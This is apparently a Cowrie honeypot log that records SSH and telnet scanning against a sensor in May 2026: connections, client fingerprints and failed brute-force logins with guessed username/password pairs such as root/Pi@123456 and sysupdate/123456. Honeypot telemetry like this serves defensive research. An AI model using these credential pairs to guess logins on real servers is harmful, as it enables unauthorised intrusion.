{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:41.123279Z","src_ip":"181.47.9.103","session":"8c90cce0c93f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":57226,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eeb51c8330b","protocol":"ssh","message":"New connection: 43.153.31.20:57226 (159.203.135.109:22) [session: 0eeb51c8330b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:41.239921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:41.244423Z","src_ip":"43.153.31.20","session":"0eeb51c8330b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:41.312443Z","src_ip":"43.153.31.20","session":"0eeb51c8330b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:41.561437Z","src_ip":"94.159.98.239","session":"3fc5ddc7ccb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pi@123456","message":"login attempt [root/Pi@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:41.612977Z","src_ip":"43.153.31.20","session":"0eeb51c8330b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"conrad","message":"login attempt [root/conrad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:41.725161Z","src_ip":"181.47.9.103","session":"8c90cce0c93f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.951951026916504,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:41.955681Z","src_ip":"152.42.224.71","session":"dd195c5be1a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:42.682779Z","src_ip":"43.153.31.20","session":"0eeb51c8330b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:42.869888Z","src_ip":"181.47.9.103","session":"8c90cce0c93f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":63484,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdbab696d8c6","protocol":"ssh","message":"New connection: 45.153.34.97:63484 (10.17.0.5:22) [session: fdbab696d8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:43.270386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:43.277173Z","src_ip":"45.153.34.97","session":"fdbab696d8c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:43.372643Z","src_ip":"45.153.34.97","session":"fdbab696d8c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:43.685996Z","src_ip":"45.153.34.97","session":"fdbab696d8c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:44.800974Z","src_ip":"45.153.34.97","session":"fdbab696d8c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.30864381790161,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:45.669085Z","src_ip":"152.42.224.71","session":"19c116323207","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":63500,"dst_ip":"10.17.0.5","dst_port":22,"session":"fba077577177","protocol":"ssh","message":"New connection: 45.153.34.97:63500 (10.17.0.5:22) [session: fba077577177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:47.571066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:47.574773Z","src_ip":"45.153.34.97","session":"fba077577177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:47.681207Z","src_ip":"45.153.34.97","session":"fba077577177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"benfica10","message":"login attempt [root/benfica10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:48.095659Z","src_ip":"45.153.34.97","session":"fba077577177","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:49.181963Z","src_ip":"45.153.34.97","session":"fba077577177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":10198,"dst_ip":"10.17.0.5","dst_port":22,"session":"c12e46b0123c","protocol":"ssh","message":"New connection: 45.153.34.97:10198 (10.17.0.5:22) [session: c12e46b0123c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:52.096232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:52.101031Z","src_ip":"45.153.34.97","session":"c12e46b0123c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:52.186873Z","src_ip":"45.153.34.97","session":"c12e46b0123c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:52.476429Z","src_ip":"45.153.34.97","session":"c12e46b0123c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:53.587806Z","src_ip":"45.153.34.97","session":"c12e46b0123c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00366020202637,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:55.869388Z","src_ip":"152.42.224.71","session":"568cbad66f54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58806,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ac24c8c7373","protocol":"telnet","message":"New connection: 152.42.224.71:58806 (10.17.0.5:23) [session: 9ac24c8c7373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:55.949401Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":10208,"dst_ip":"10.17.0.5","dst_port":22,"session":"1287a1dfb97b","protocol":"ssh","message":"New connection: 45.153.34.97:10208 (10.17.0.5:22) [session: 1287a1dfb97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:56.401494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:56.574628Z","src_ip":"45.153.34.97","session":"1287a1dfb97b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:56.578063Z","src_ip":"45.153.34.97","session":"1287a1dfb97b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client","password":"client","message":"login attempt [client/client] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:57.279693Z","src_ip":"45.153.34.97","session":"1287a1dfb97b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:58.677599Z","src_ip":"45.153.34.97","session":"1287a1dfb97b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":49048,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a69c19106e4","protocol":"ssh","message":"New connection: 45.153.34.97:49048 (10.17.0.5:22) [session: 4a69c19106e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:00.792734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:00.797416Z","src_ip":"45.153.34.97","session":"4a69c19106e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:00.892555Z","src_ip":"45.153.34.97","session":"4a69c19106e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:01.180938Z","src_ip":"45.153.34.97","session":"4a69c19106e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58816,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfa11e36ba72","protocol":"telnet","message":"New connection: 152.42.224.71:58816 (10.17.0.5:23) [session: dfa11e36ba72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:01.185815Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:02.584571Z","src_ip":"45.153.34.97","session":"4a69c19106e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":49052,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6092d8bc6e6","protocol":"ssh","message":"New connection: 45.153.34.97:49052 (10.17.0.5:22) [session: a6092d8bc6e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:05.378575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:05.424313Z","src_ip":"45.153.34.97","session":"a6092d8bc6e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:05.870237Z","src_ip":"45.153.34.97","session":"a6092d8bc6e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"satish","password":"satish","message":"login attempt [satish/satish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:06.175497Z","src_ip":"45.153.34.97","session":"a6092d8bc6e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:07.575777Z","src_ip":"45.153.34.97","session":"a6092d8bc6e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58476,"dst_ip":"10.17.0.5","dst_port":23,"session":"33b308a823f7","protocol":"telnet","message":"New connection: 152.42.224.71:58476 (10.17.0.5:23) [session: 33b308a823f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:14:09.767829Z"}
